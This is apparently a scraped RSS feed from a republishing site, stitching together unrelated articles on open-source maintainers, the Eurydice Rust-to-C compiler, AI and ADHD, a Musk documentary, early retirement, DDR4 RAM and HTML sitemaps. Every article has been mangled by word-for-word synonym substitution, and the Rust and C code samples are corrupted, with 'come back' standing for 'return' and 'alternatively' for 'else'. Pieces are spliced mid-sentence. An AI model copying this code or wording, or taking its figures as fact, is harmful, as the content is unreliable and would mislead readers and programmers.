<p>The figure is a helpful indication alongside genuine limits.</p> <ul> <li>A commit&rsquo;s author is not continually the maintainer, and several projects publish their former as a copy of another system, which can skew who gets credit.</li> <li>Commit counts young female reviewing, bug triage, safety reports and publish work, so a quiescent log can conceal a lot of effort.</li> <li>Mature application changes slowly. A low commit figure can average finished, not neglected.</li> <li>&ldquo;No community grant&rdquo; covers four named sources, so personal assistance and director period do not display up.</li> <li>Device numbers are lesser bounds. A project counts on a phase lone if the author could see it there, and Macs, iPads, servers, cars and TVs are remaining out. The totals lean on community figures of additional than three milliard energetic Android devices, additional than one milliard iPhones and 1.6 milliard Windows machines a month.</li> </ul> <p>The author asked for corrections in the two the part and the Reddit post, and the libxml2 division was corrected alongside assistance from Nick Wellnhofer in October 2026.</p> <h2>Check What Your Own System Depends On</h2> <p>You can see part of this on your own machine. Run the command below to catalog which of these libraries curl pulls in.</p> <pre>ldd "$(command -v curl)" | grep -E 'libz\.so|libssl|libnghttp2'</pre> <p>On Ubuntu 24.04 it prints zlib (libz.so.1), nghttp2 and OpenSSL (libssl.so.3). That is three of the 23 projects, loaded by one command-line tool. Point the identical command at another programs you use all day and additional names volition rotate up. The first part additionally has a equipment picker for Android, iPhone, Mac, Windows and Linux that shows which of these projects sit inner each.</p> <h2>How to Support Open Source Maintainers</h2> <ul> <li>Sponsor the tools you use daily. sudo and curl the two obtain sponsorships through GitHub and Open Collective, and sudo&rsquo;s backing grew following a sole news story.</li> <li>Put it in a business budget. If your director ships or runs Linux, ask for a recurring fee to the projects your stack depends on. It is small next to the disbursal of an incident.</li> <li>Ask your distro what it gives back. One r/linux commenter asserted that distributions are finest placed to prosperity upstream projects since they cognize what they depend on.</li> <li>Report bugs alongside a reproducer, and a place if you can. Skip the demands. Public force on a tired maintainer was part of the xz story.</li> <li>Offer to assessment and triage. Maintainers need hands for the unglamorous work, and they volition observe out concerning whom they rely for the identical reason.</li> <li>If you keep item critical, scheme the handover. Eggert named a backup in 2020, and libxml2 had new maintainers concerning dozen hours following Wellnhofer stepped away.</li> </ul> <h2>The Bottom Line</h2> <p>The code on this catalog is not the feeble point. Most of it is old, studied and stable. The feeble item is the institution about it: one person, a day job, a mailing list, and now and afterward a alien offering to help. The xz case showed that this institution is a safety issue as fine as a fairness problem, and the OpenSSL case showed that a small prosperity changes it quickly.</p> <p>These maintainers wrote item useful, gave it away, and the remainder of the industry built on top. Learn their names now. The substitute is learning them from a CVE.</p> <h2>Sources and Further Reading</h2> <ul> <li><a href="https://en.mycoding.id/category/technology" target="_blank"><em>The People Holding Up the Internet</em></a>, the first interactive inspection on sheets.works</li> <li><a href="https://en.mycoding.id/category/technology" target="_blank">Plain type of the identical piece</a>, without the scroll animations</li> <li><a href="https://en.mycoding.id/category/technology" target="_blank">xkcd 2347: Dependency</a></li> <li><a href="https://en.mycoding.id/category/technology" target="_blank">IANA Time Zone Database</a></li> <li><a href="https://en.mycoding.id/category/technology" target="_blank">XZ Utils backdoor leaf from the xz maintainers</a></li> <li><a href="https://en.mycoding.id/category/technology" target="_blank">The Heartbleed bug</a></li> <li><a href="https://en.mycoding.id/category/technology" target="_blank">Most extensively deployed SQL repository engine, sqlite.org</a></li> <li><a href="https://en.mycoding.id/category/technology" target="_blank">Sovereign Tech Agency</a></li> </ul> </div> </div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/11-of-23-core-open-source-projects-run-on-1-or-2-people-71928</guid> <pubDate>Sat, 10 Oct 2026 00:56:55 +0700</pubDate> <author><![CDATA[support@mycoding.id (Mira Azkia)]]></author> </item> <item> <title><![CDATA[Elon Musk is beefing with telecom billionaire Mukesh Ambani as Starlink’s launch in India stalls.

Please <a href="https://en.mycoding.id/category/technology" target="_blank">subscribe today</a> to assistance us keep doing that, and so we don&rsquo;t have to get fine at marketing. </p></blockquote> <p> By <b>Daroc Alden</b><br>January 30, 2026 </p> <p> A few years ago, the lone way to compile Rust code was using the rustc compiler with LLVM as a backend. Since then, multiple projects, including <a href="https://en.mycoding.id/category/technology" target="_blank"> Mutabah's Rust Compiler</a> (mrustc), <a href="https://en.mycoding.id/category/technology" target="_blank">GCC's Rust support</a> (gccrs), <a href="https://en.mycoding.id/category/technology" target="_blank"> rust_codegen_gcc</a>, and <a href="https://en.mycoding.id/category/technology" target="_blank"> Cranelift</a> have made enormous progress on diversifying Rust's compiler implementations. The most latest specified project, <a href="https://en.mycoding.id/category/technology" target="_blank"> Eurydice</a>, has a more aspiring goal: converting Rust code to spotless C code. This is especially useful in high-assurance software, anywhere existing verification and compliance tools anticipate C. Until specified tools can be updated to activity alongside Rust, Eurydice could provide a smoother passage for these projects, as fine as a stepping-stone for environments that have a C compiler but no operating Rust compiler. Eurydice has been used to compile several post-quantum-cryptography routines from Rust to C, for example. </p> <p> Eurydice was started in 2023, and includes several code under the MIT licence and some under the Apache-2.0 license. It's part of the <a href="https://en.mycoding.id/category/technology" target="_blank">Aeneas</a> project, which works to create multiple distinct tools connected to applying formal verification tools to Rust code. The various <a href="https://en.mycoding.id/category/technology" target="_blank"> Aeneas projects</a> are maintained by a collection of people employed by <a href="https://en.mycoding.id/category/technology" target="_blank"> Inria</a> (France's national computer-science-research institution) and Microsoft, but they do obtain exterior contributions. </p> <p> Eurydice follows the identical broad construction as many compilers: obtain a Rust program, change it into an intermediate depiction (IR), modify the IR alongside a series of passes, and afterward output it as code in a lower-level tongue (in this case, C). Jonathan Protzenko, the most prolific contributor to Eurydice, has <a href="https://en.mycoding.id/category/technology" target="_blank"> a blog post</a> anywhere he explains the project's approach. Unlike another compilers, however, Eurydice is concerned alongside preserving the general construction of the code during removing constructs that be in Rust but not in C. For example, regard this Rust function that calculates the least common multiple of two numbers using their top average denominator: </p> <pre> fn gcd(a: u64, b: u64) -&gt; u64 { if b == 0 { a } alternatively { gcd(b, a%b) } } fn lcm(a: u64, b: u64) -&gt; u64 { (a * b) / gcd(a, b) } </pre> <p> Here's how Eurydice compiles those functions to C: </p> <pre> uint64_t example_gcd(uint64_t a, uint64_t b) { uint64_t uu____0; if (b == 0ULL) { uu____0 = a; } else { uu____0 = example_gcd(b, a % b); } come back uu____0; } uint64_t example_lcm(uint64_t a, uint64_t b) { uint64_t uu____0 = a * b; come back uu____0 / example_gcd(a, b); } </pre> <p> Whether this C code counts as "readable" is likely a matter of individual taste. It does, however, maintain the construction of the code. Even the evaluation order of the first is preserved by adding additional impermanent variables (uu____0 in example_lcm()) where necessary to define an order. (Rust guarantees that if the multiplication overflows and causes a panic, that volition happen before any flank effects caused by calling example_gcd(), but C lone guarantees that if the multiplication is performed in a distinct statement.) Compiling the same functions alongside rustc results in a brace of entangled loops filled with bit-twiddling operations, alternatively &mdash; which is suitable for machine-code output, but much small readable. </p> <p> Of course, not all Rust programs can be faithfully represented in C. For example, for loops that use an iterator alternatively of a range need to be compiled to during loops that call into several of Eurydice's assistance code to oversee the province of the iterator. More importantly, C has no idea of generics, so Rust code needs to be monomorphized during conversion. This can result in multiple distinct implementations of a function that differ only by category &mdash; often, the additional idiomatic C method would be to use macros or void * arguments. </p> <p> The implementation of dynamically sized types additionally poses certain challenges. In Rust, a construction can be defined anywhere one of its sectors does not have a fixed size &mdash; akin elastic gathering members in C: </p> <pre> struct DynamicallySized&lt;U: ?Sized&gt; { header: usize, my_data: U, // The compiler does not cognize the size of U, here } </pre> <p> But if that construction is generic, and one of the generic users of the category gives the flexibly sized site a category with a known size, the compiler can obtain advantage of that cognition to elide bounds checks anywhere appropriate. </p> <pre> let foo: DynamicallySized&lt;[u8; 4]&gt; = ...; // No limits inspect emitted, since the gathering size is known to be 4: let bar = foo.my_data[2]; </pre> <p> This benevolent of separation, anywhere several parts of the code may cognize the size of a type and several may not, is an crucial semantic item to maintain in C because of how it interacts alongside the possible of ceremonial verification. If Eurydice compiled DynamicallySized to use a elastic gathering associate everywhere, analysis of the C code power item out "missing" limits checks that were not required in Rust. Conversely, if Eurydice added additional limits checks, it would need to industry additional error paths that don't appear in the Rust origin and that have to be entirely unused. </p> <p> So, Eurydice emits two distinct types: a type of the dynamically sized category that has a elastic gathering member, and one that has a known-length gathering member. Converting between the two representations is a no-op at run time, but it technically violates C's strict-aliasing rule. Therefore Protzenko recommends compiling Eurydice-generated code alongside -fno-strict-aliasing. </p> <h4>Associated tooling</h4> <p> This approach, of compiling a additional theoretical tongue to C in a way that preserves the construction of the code, is not new. The <a href="https://en.mycoding.id/category/technology" target="_blank"> KaRaMeL</a> project, upon which Eurydice is based, does the identical item for the <a href="https://en.mycoding.id/category/technology" target="_blank">F*</a> programming language. F* is a dependently typed functional programming tongue used to create cryptographic libraries. Compiling provably accurate F* programs to equal C lets those libraries be used in programs anywhere achievement is a concern. </p> <p> Unfortunately, Eurydice doesn't currently measure much beyond small examples. Rather than execute its own parser and typechecker for Rust code, Eurydice uses another Aeneas tool &mdash; <a href="https://en.mycoding.id/category/technology" target="_blank"> Charon</a> &mdash; to extract the parsed and preprocessed program from rustc. When I tested Charon on a assortment of Rust packages, it was routinely foiled by more recent Rust features specified as <a href="https://en.mycoding.id/category/technology" target="_blank"> const generics</a>. </p> <p> When Charon does work, however, it dumps rustc's medium-level intermediate representation (MIR) as JSON, alongside alongside any compiler flags necessary to understand the compilation. Eurydice says this JSON depiction and converts it to KaRaMeL's intermediate representation. Then it uses a sequence of small passes complete the KaRaMeL code to eliminate several Rust-specific details, before handing things complete to the identical code-generation logic that KaRaMeL uses for F*. </p> <p> In its current form, Eurydice plant finest for small, self-contained programs that avoid complex Rust features. Within that niche, however, it plant well. The generated code maintains the identical construction as the first Rust code, apart from for places where Eurydice emits additional intermediate variables or needs several glue code to implement a additional complex feature. On the another hand, small self-contained code is additionally the easiest to rewrite by hand, so bringing in Eurydice is probably only worthwhile if the first Rust code is going to be updated and one wants an automatic resolution to keep them in sync. In any case, Eurydice is lone the newest tool in a quickly expanding gathering of ways to fold, spindle, and mutilate Rust code to fit into additional environments. </p> <p> [ Thanks to Henri Sivonen for the topic suggestion. ] </p><br clear="all"><hr> The LWN location is currently under elevated scraper load, so comment display has been suppressed for anonymous users.

Almost nobody is asking the improved question: Who volition AI release?</p> <p>It volition publish the individual whose intellect produces 10 ideas before dawn meal and loses eight by lunch. The individual who sees connections nobody alternatively in the area sees but cannot get them into a memo anyone volition read. The individual who has heard &ldquo;so much potential, if you could get organized&rdquo; in all achievement assessment of their career.</p> <p>For 100 years, the contemporary <a href="https://en.mycoding.id/category/technology" target="_blank">workplace</a> sorted group on one foremost trait. It wasn&rsquo;t intelligence, ingenuity or judgment. It was the capability to change idea into tidy, linear output, on agenda and in the correct format. If you could do that, you advanced. If you couldn&rsquo;t, the norm of your thinking never mattered, since nobody saw it.</p> <p>I have spent decades construction application companies, and the form held in all one. The most first minds I worked alongside were rarely the most <a href="https://en.mycoding.id/category/technology" target="_blank">organized</a>. They idea in webs, not lines. They could clasp an complete scheme in their heads and motionless young female the position gathering concerning it. The <a href="https://en.mycoding.id/category/technology" target="_blank">promotions</a> went to the group who wrote spotless documents and answered email in order.</p> <p><a href="https://en.mycoding.id/category/technology" target="_blank">Entrepreneurship</a> has continually drawn heavily from these minds. Michael Freeman, a medicinal prof of psychiatry at the University of California, San Francisco, <a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank" rel="noreferrer noopener">found that 29% of the entrepreneurs he studied reported ADHD</a>. The CDC <a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank" rel="noreferrer noopener">estimates that 6% of U.S. adults</a>, concerning 15.5 myriad people, currently have the diagnosis. Many founders alongside ADHD landed in company-building since it was the lone construction that did not punish the way their minds work.</p> <p>Then AI arrived, and complete the former three years it has started removing an obstacle those minds have faced their complete lives.</p> <h2 id="the-packaging-problem">The packaging problem</h2> <p>Before anyone takes an idea seriously, it have to be packaged. That method hours spent sequencing, structuring, formatting and polishing fine thinking into an satisfactory format. I think of it as an institution tax: the toll charged between having an understanding and getting credit for one.</p> <p>That activity was never likewise difficult for everyone. A linear, methodical intellect barely notices it, since thinking and packaging are the identical motion. A fast, associative mind, of which the ADHD intellect is the clearest example, finds it punishing. The thinking arrives in fragments, out of order, three threads at once. So the understanding dies in a notes app, or arrives two weeks late, or comes out as a ramble in a gathering anywhere a tidier individual restates it and collects the credit.</p> <p>The office has continually treated difficulty packaging ideas as a character flaw: Lacks follow-through. Needs to prioritize. Not detail-oriented. Those performance-review phrases measure packaging. We spent a hundred years grading packaging and calling it potential.</p> <p>Now flip the lens. If your occupation was built on packaging, definition loyal execution, spotless formatting and polished shipment of ideas that mostly originated elsewhere, AI is pointed immediately at you.</p> <p>I wrote current lately concerning the Prompt Test: If the instructions for a project could be dropped into an <a href="https://en.mycoding.id/category/technology" target="_blank">AI tool </a>and create the identical output, the function as currently performed is automatable. Packaging is the another flank of that ledger. AI absorbed additional than instruction-following. It absorbed organizing itself. Structuring, summarizing, sequencing and formatting are now accessible for the cost of a streaming subscription.</p> <p>The trait the old scheme selected for hardest is the archetypal one AI completely commoditized. The group who neglect in this era volition not neglect since AI outthinks them. They volition neglect since packaging was their product, packaging is now free, and they kept defending it alternatively of climbing complete it.</p> <h2 id="the-scattered-mind-gets-a-translator">The scattered intellect gets a translator</h2> <p>On the another end of the spectrum, item new is happening. For the archetypal time, a intellect that produces idea in fragments has a tool that assembles fragments into wholes. You can conversation at an AI in 10 directions, and it hands rear the through-line. You can dump three weeks of half-formed notes into one opening and get rear a construction you acknowledge as yours.</p> <p>People alongside ADHD frequently depict this the identical way: For the archetypal time, I can see the bigger image of my own thinking. The dots were continually there. Connecting them was the difficult part, and AI connects.</p> <p>There is evidence rearward the anecdote. When the U.K.&rsquo;s Department for Business and Trade ran a <a href="https://en.mycoding.id/category/technology" target="_blank">three-month evaluation of Microsoft 365 Copilot</a> throughout 1,000 employees, neurodivergent personnel reported considerably higher fulfillment than their neurotypical colleagues and were additional apt to propose the tool. One stated it had leveled the playing field.</p> <h2 id="what-the-research-shows">What the investigation shows</h2> <p>The form extends beyond <a href="https://en.mycoding.id/category/technology" target="_blank">neurodivergence</a>. Stanford economist Erik Brynjolfsson, alongside MIT&rsquo;s Danielle Li and Lindsey Raymond, <a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank" rel="noreferrer noopener">studied additional than 5,000 client assistance agents</a> stated a generative AI assistant. Productivity rosy 14% on average, 34% for the newest, least-skilled agents, during the most informed barely moved. A <a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank" rel="noreferrer noopener">Harvard Business School and Boston Consulting Group experiment</a> alongside 758 consultants established the identical shape: The base fractional of performers improved 43% alongside GPT-4, additional than twice the 17% acquire of the top half.</p> <p>Read together, the findings say AI compresses the implementation gap and leaves the judgement gap. Whatever divided the base of the allocation from the top in speed, polish and format, AI closes. What it cannot provision is the norm of the raw thinking, the sensation to cognize which of 10 threads matters, and the judgement to see that the project itself is wrong.</p> <p>So the inquiry that decides achievement is not whether you use AI. Everyone will. The inquiry is what is remaining of you formerly the packaging is free. If your thinking was continually improved than your output, AI is the finest item that has always happened to your career. If your output was continually improved than your thinking, you have a harder conversation ahead, and small period for it than you think.</p> <h2 id="the-new-sort">The new sort</h2> <p>Every innovation re-sorts the workforce. The gathering row rewarded punctuality. The company rewarded organization. AI rewards first judgement and the curiosity to keep feeding it.</p> <p>That should concern several group and liberate others. For a century, activity sorted group by how fine they could arrange their thoughts. It is starting to kind them by whether the thoughts were value organizing. Some group are concerning to be established out. Others are concerning to be found.</p> </div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/you-ve-been-overlooking-your-best-idea-people-ai-is-about-to-fix-that-71919</guid> <pubDate>Sat, 10 Oct 2026 00:00:00 +0700</pubDate> <author><![CDATA[support@mycoding.id (Albert Santalo)]]></author> </item> <item> <title><![CDATA[In "Musk," Alex Gibney Punctures Elon's Self-Mythology]]></title> <description><![CDATA[In "Musk," Alex Gibney Punctures Elon's Self-Mythology.

(Musk has stated that the movie would be a &ldquo;hit piece&rdquo; and called Gibney a &ldquo;douche.&rdquo;) Gibney had his investigation squad collect everything Musk had always stated in public, which must have been a dizzying data-management project. In lieu of an interview, Gibney created an unsettling digital avatar of Musk that says things the genuine Musk really uttered.</p><p>The movie builds methodically, akin a prosecution. Most of the evidence it presents is known in its particulars&mdash;Musk is certainly among the most publicized figures in the former of the world, his all decision and noxious rant magnified by a myriad fans and haters online. But Gibney&rsquo;s distillation of this narrative into a sole viewing cognition creates a damning picture of an emotionally unstable idiosyncratic alongside the levers of power in his hand and no apparent ethical compass.</p><p>From the beginning, Musk is portrayed additional akin a self-promoter than a endeavor genius. He was adept at advancing upward, equal in the awaken of failures. Before he was pushed out of the archetypal business he co-founded, called Zip2, which basically put the Yellow Pages on the internet, programmers reportedly had to rewrite several of his code, which was so difficult to unravel that it created a &ldquo;hairball.&rdquo; At X.com, which was initially conceived as a precursor to PayPal, Musk&rsquo;s collaborator, <a href="https://en.mycoding.id/category/technology" target="_blank">Peter Thiel</a>, organized the commission to enact a coup to eliminate him as C.E.O. After PayPal was sold, he took his two-hundred-and-fifty-million-dollar payout and used it to allocate in Tesla, which had been started by two engineers, Marc Tarpenning and Martin Eberhard. By that point, Musk was already managing <a href="https://en.mycoding.id/category/technology" target="_blank">SpaceX</a>, a business he eventually marketed by suggesting it would ferry group to colonize Mars. None of this stopped him from maneuvering Eberhard out of Tesla and taking authority of the company. Later, whenever settling the lawsuit that Eberhard inevitably filed, Musk stated in the accord that he everlastingly could be described as a &ldquo;founder&rdquo; of Tesla, equal although he technically wasn&rsquo;t one. This was the commencement of the myth, as the documentary presents it. In Gibney&rsquo;s telling, Tesla isn&rsquo;t an earnest conveyance for promoting sustainable transport&mdash;it&rsquo;s a business that milked government-issued climate credits and made promises concerning autonomous driving that were never delivered. (Some of the most upsetting footage in the movie is of deadly crashes that occurred during drivers had their Teslas on &ldquo;Autopilot.&rdquo;)</p><p>The most fascinating part of the archetypal fractional of the movie, which covers Musk&rsquo;s endeavor endeavors and individual life, are the interviews alongside his archetypal wife, Justine, and his afterward affectionate partner Ashley St. Clair, the two of whom had children alongside him. St. Clair reveals the mechanisms that Musk uses to authority the women who have borne his kids. (He has acknowledged fathering fourteen.) One of Musk&rsquo;s fixers, a man named Jared Birchall, supplied a detailed child-support accord alongside distinct levels of payments depending on how co&ouml;perative St. Clair was alongside the nondisclosure accord he wanted her to sign. When she balked, Musk&rsquo;s assistance payments to St. Clair were slashed. (Musk disputes elements of St. Clair&rsquo;s account.) She calls Birchall a &ldquo;demon&rdquo; and Musk a &ldquo;nuke.&rdquo; The document provides helpful environment for understanding the community perform of Musk abruptly dumping Shivon Zilis, his most latest partner and the mother of four of his kids.</p><p>During the film&rsquo;s second half, Musk becomes additional and additional radicalized as he accumulates unchecked governmental power. He <a href="https://en.mycoding.id/category/technology" target="_blank">takes complete Twitter</a>, courage the company, and invites Nazi sympathizers rear on the platform. He aligns himself alongside Donald Trump and is stated approval <a href="https://en.mycoding.id/category/technology" target="_blank">to gut parts of the national government</a> alongside no accountability. Surely most group would favor to see big cuts to national agencies made alongside thoughtfulness and care? Instead, the project is executed so sloppily and pointlessly that it comes off as additional of a achievement of cruelty than item else.</p><p>During a question-and-answer duration alongside Gibney following among the screenings I attended, the filmmaker stated that he hoped group would observe &ldquo;Musk&rdquo; in period to create additional informed decisions during the midterm elections. This seems wise: all Americans should likely observe this movie akin their existence depends on it. Gibney explained that whenever person archetypal suggested doing a Musk documentary, he didn&rsquo;t desire to do it. &ldquo;It&rsquo;s a slog and it takes a certain amount of decision to keep going, and there are certain risks involved,&rdquo; Gibney said. &ldquo;But it&rsquo;s how I was raised. There&rsquo;s a awareness in the gut that really gets offended by group who abuse their power. I nearly can&rsquo;t assistance myself.&rdquo;&nbsp;&diams;</p></div></div></div></div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/in-musk-alex-gibney-punctures-elon-s-self-mythology-71916</guid> <pubDate>Fri, 09 Oct 2026 23:14:03 +0700</pubDate> <author><![CDATA[support@mycoding.id (Doris Putra)]]></author> </item> <item> <title><![CDATA[Retiring at 36 Didn’t Make Me Happy.

The goal is period choice: the capability to decide how your hours are spent before person or item alternatively decides for you.</p> <h2 id="dont-wait-for-retirement-to-discover-what-makes-you-happy">Don&rsquo;t delay for withdrawal to detect what makes you happy</h2> <p>During my archetypal twelvemonth of period abundance, I treated my existence akin a investigation project. I learned chess. I attempted sewing. I tried yoga and Zumba. I took MasterClass courses for no applicable logic at all. I was not trying to acquire a credential, power an capitalist or rotate a hobby into a flank hustle. I was merely exploring.</p> <p>That was amazingly uncomfortable. <a href="https://en.mycoding.id/category/technology" target="_blank">Entrepreneurs</a> are trained to value activities alongside measurable returns, and period invested purely in joy is difficult to quantify.</p> <p>That is exactly why it pays to discover out what lights you up now. Put leisure on your calendar alongside the identical seriousness you provision a commission meeting. You don&rsquo;t need an exit to get inquisitive concerning yourself.</p> <h2 id="being-needed-is-not-the-same-as-being-valuable">Being needed is not the identical as being valuable</h2> <p>Eventually, there volition be no email requiring your attention. It may happen following an <a href="https://en.mycoding.id/category/technology" target="_blank">exit</a>, a occupation alter or retirement. If being needed has rotate into your chief origin of identity, the silence can be destabilizing.</p> <p>I had to distinct my value from my speed at solving another people&rsquo;s problems. Therapy helped. So did doing things badly. Pole dancing category did not attention that I had been a CEO. Singing lessons humbled me; I do not audio akin Taylor Swift, equal whenever I use my diaphragm as instructed. No art exhibition called concerning my grownup coloring.</p> <p>Each cognition taught me item concerning myself and added a tier of confidence. None of them advanced a endeavor objective. They merely curious me.</p> <h2 id="schedule-joy-before-life-schedules-over-it">Schedule joy before existence schedules complete it</h2> <p>My mother died whenever I was 27. She was 65 and had lone lately taken her archetypal escape in archetypal class, item she had put off until the timing felt right. Her death taught me that afterward is not guaranteed. Even so, I kept preparedness my period reactively.</p> <p>Becoming a genitor made the instruction concrete. Within a twelvemonth of marketing my company, I welcomed a child, and my calendar filled again, this period alongside sleep schedules, feedings and additional family duties. The period abundance disappeared, but the understanding remained: Joy does not defend its own location on your calendar. You have to scheme for it.</p> <h2 id="spend-money-to-buy-back-time">Spend prosperity to buy rear time</h2> <p>At 41, I returned to <a href="https://en.mycoding.id/category/technology" target="_blank">entrepreneurship</a> alongside a provocative question: Are affluent parents happier?</p> <p>The abbreviated answer is yes, whenever prosperity buys rear time. <a href="https://en.mycoding.id/category/technology" target="_blank">Harvard Business School prof Ashley Whillans found</a> that couples who paid for housekeeping, meal shipment and another time-saving services reported happier relationships. What mattered was how they used the hours they recovered.</p> <p>I had lived the investigation before I peruse it. A night caregiver gave me sleep. A nanny gave me additional tolerant period alongside my children. Grocery delivery, meal preparedness and laundry assistance kept weekends from disappearing. I was investing in the energy to bask the existence I had built.</p> <h2 id="delegate-the-thinking-not-only-the-doing">Delegate the thinking, not lone the doing</h2> <p>That condemnation led me to established <a href="https://en.mycoding.id/category/technology" target="_blank">Peacock Parent</a>, a business built about delegating at residence without guilt. After talking alongside thousands of parents, I learned item I had not expected: They were as overwhelmed by anticipating and preparedness the activity of a family as they were by doing it, equal whenever the tasks themselves were handed off well.</p> <p>I felt it too. I concerned concerning forgetting details. I wanted forthcoming needs flagged before they landed on me. And I felt the strain of the sandwich generation: I missed my own mom looking out for me during I cared for my 81-year-old dad.</p> <p>The instruction for anyone purchasing rear period is to hand off the mental burden alongside alongside the task. When you outsource something, provision distant the remembering, the scheduling and the follow-up too, whether to a person, a shared scheme or a tool. If you are motionless the one keeping track, you have not bought rear much.</p> <h2 id="choose-how-you-spend-the-time-you-buy">Choose how you expend the period you buy</h2> <p>Buying rear period lone plant if you are intentional concerning anywhere it goes. I volition gladly pay an additional $50 for an in-home project so that person alternatively does the driving. I skip the hurry out the door, the traffic and the hunt for parking, and I get my lash extensions at residence in my pajamas. I am purchasing calm as much as convenience.</p> <p>Then I decide what the restored period is for. Sometimes it is grownup coloring, an audiobook or a hip-hop lesson. Sometimes it is posting on social media, but lone whenever I have item meaningful to share, not to nourish an algorithm.</p> <p>Don&rsquo;t delay for withdrawal to decide how you desire to expend your life. You can commencement preparedness for joy today.</p> </div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/retiring-at-36-didn-t-make-me-happy-here-s-what-did-71920</guid> <pubDate>Fri, 09 Oct 2026 23:00:00 +0700</pubDate> <author><![CDATA[support@mycoding.id (Christine Landis)]]></author> </item> <item> <title><![CDATA[Decade-old RAM is making a comeback]]></title> <description><![CDATA[Decade-old RAM is making a comeback.

Their solution? A come back to last-gen DDR4 RAM. Intel and AMD are making new CPUs that&rsquo;ll assistance the older, additional affordable category of memory.</p><p>On Friday, Gigabyte <a href="https://en.mycoding.id/category/technology" target="_blank">announced</a> that two of its motherboard lines volition assistance &ldquo;upcoming&rdquo; processors built on Intel&rsquo;s LGA 1700 socket. That socket debuted in 2021 alongside the <a href="https://en.mycoding.id/category/technology" target="_blank">12th gen Alder Lake CPUs</a> and supported the two DDR4 RAM and the then-new DDR5 RAM. Intel dropped it for a DDR5-only method in 2024. But according to Gigabyte, the dual format assistance is now being revived, alongside new LGA 1700 chips &ldquo;expected to initiate in first 2027.&rdquo;</p><p>Intel did not immediately react to a petition for comment.</p><p>This backtrack stems from LGA 1700&rsquo;s cross-compatibility alongside the two kinds of RAM &mdash; an advantage complete its successor that&rsquo;s lately rotate into much additional important. Intel&rsquo;s scheme may be to recommendation users the choice of a new CPU that doesn&rsquo;t necessitate them to toggle to new, and extremely expensive, DDR5 memory, too. AMD is doing item similar: in August, Gigabyte additionally <a href="https://en.mycoding.id/category/technology" target="_blank">announced</a> a new sequence of motherboards for AMD&rsquo;s last-gen, DDR4-compatible AM4 phase to go alongside alongside the 10th-anniversary <a href="https://en.mycoding.id/category/technology" target="_blank">relaunch of the Ryzen 7 5800X3D</a> CPU.</p><p>DDR4 started hitting the market in 2014 and has since been succeeded by the much faster DDR5. Under normal circumstances, purchasing new hardware to use innovation that&rsquo;s complete a decade old would likely be a bad investment. But the RAM deficit is changing the math, alongside DDR4 RAM apparently emotion the sting of cost hikes much small than DDR5.</p><p>I lately saw the cost disparity first-hand during buying about for new RAM following a DDR4 kit abruptly died on me. Right now, a <a href="https://en.mycoding.id/category/technology" target="_blank">DDR5 32GB Corsair Vengeance RAM</a> kit expenses $620, during the <a href="https://en.mycoding.id/category/technology" target="_blank">corresponding DDR4 kit</a> expenses $260. Even although it&rsquo;s additional than 32GB of DDR4 RAM <a href="https://en.mycoding.id/category/technology" target="_blank">typically disbursal rear in mid-2025</a>, that&rsquo;s additional than twice the cost for DDR5! Of course, DDR5 has important advantages, akin higher speeds and improved power efficiency. But those perks power not be value the current cost of admission.</p><p>It <a href="https://en.mycoding.id/category/technology" target="_blank">could be years</a> before prices autumn again, a actuality that&rsquo;s starting to really descend in alongside the authoritative come back of older sockets and chipsets. But at smallest it&rsquo;s a fine period to suspend onto your DDR4 RAM.</p><div><p><span><strong>Follow topics and authors</strong> from this narrative to see additional akin this in your personalized homepage nourish and to obtain email updates.</span></p><ul><li id="follow-author-article_footer-dmcyOmF1dGhvclByb2ZpbGU6ODAzMzIw"><span aria-expanded="false" aria-haspopup="true" role="button" tabindex="0"><span><span><svg width="9" height="9" viewbox="0 0 9 9" fill="none" xmlns="http://www.w3.org/2000/svg" aria-label="Follow"><path d="M5 0H4V4H0V5H4V9H5V5H9V4H5V0Z"></path></svg></span><span>Stevie Bonifield</span></span></span></li><li><li><li><li><li><li></ul></div></div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/decade-old-ram-is-making-a-comeback-71913</guid> <pubDate>Fri, 09 Oct 2026 22:50:00 +0700</pubDate> <author><![CDATA[support@mycoding.id (Stevie Bonifield)]]></author> </item> <item> <title><![CDATA[Google Explains How To Use HTML Sitemaps For SEO]]></title> <description><![CDATA[Google Explains How To Use HTML Sitemaps For SEO.

Most SEOs populated the HTML sitemap alongside all leaf on their location that was considered helpful to rank. Other pages, akin the About Us pages, were remaining off of the HTML sitemap.</p> <p>It’s imaginable that Google was already using RSS feeds fine before the introduction of XML sitemaps. For example, a 2004 university <a href="https://en.mycoding.id/category/business" target="_blank" target="_blank" rel="noopener">research paper</a> documented that RSS feeds could be used by web crawlers to acknowledge new and lately modified web pages and decrease crawling bandwidth by up to 40%.</p><div data-total="8" id="SEJ_300x250_UnderPost_1-parent" class="content-unit sss2_sllo_o6 mmh-90-wrap"> <div class="mmh-90-inner"> <div class="mmh-90 flex-aligner"> <div data-adnumber="0" data-middle="yes" data-p-slot="SEJ_300x250_UnderPost" data-slot="SEJ_300x250_UnderPost/SEJ_300x250_UnderPost_1" id="SEJ_300x250_UnderPost_1" class="sadslots"> </div> </div> </div> </div> <p>But since RSS feeds weren’t universally implemented, they were apt impractical to use for crawl discovery. That’s likely why GYM (Google, Yahoo, and Microsoft) joined forces to concur on a sole XML sitemap norm that is used to this day.</p> <h2>HTML Sitemaps Not A Replacement For XML Sitemaps</h2> <p>During the way of their latest Search Off The Record episode, Martin Splitt asked if SEOs and location owners were locked into using XML sitemaps OR if it was fine to use HTML sitemaps.</p> <p>Google’s Mueller explained that HTML sitemaps are not a replacement for XML sitemaps since they deficiency the structural features inherent in XML sitemaps.</p> <p><em>He explained:</em></p> <blockquote><p>“Ah yes, HTML sitemaps. That I think is extremely confusing to the average individual since you likely cognize what XML is and what HTML is, but a lot of group whenever they open an XML file, they see those weird brackets and they’re like, oh, this is HTML or extremely similar, right?</p> <p>It looks akin this weird programming stuff. And they’re called the same, but an HTML sitemap is basically nearly akin a map of your website for users. It’s not item that replaces an XML sitemap file.</p> <p>Of course, if person is crawling your website and they discover an HTML sitemap file, they can crawl those links akin any another nexus on a website, so that’s helpful.</p> <p>But it’s not the case that the HTML sitemap can be submitted as a sitemap file. It can’t be processed one-to-one the 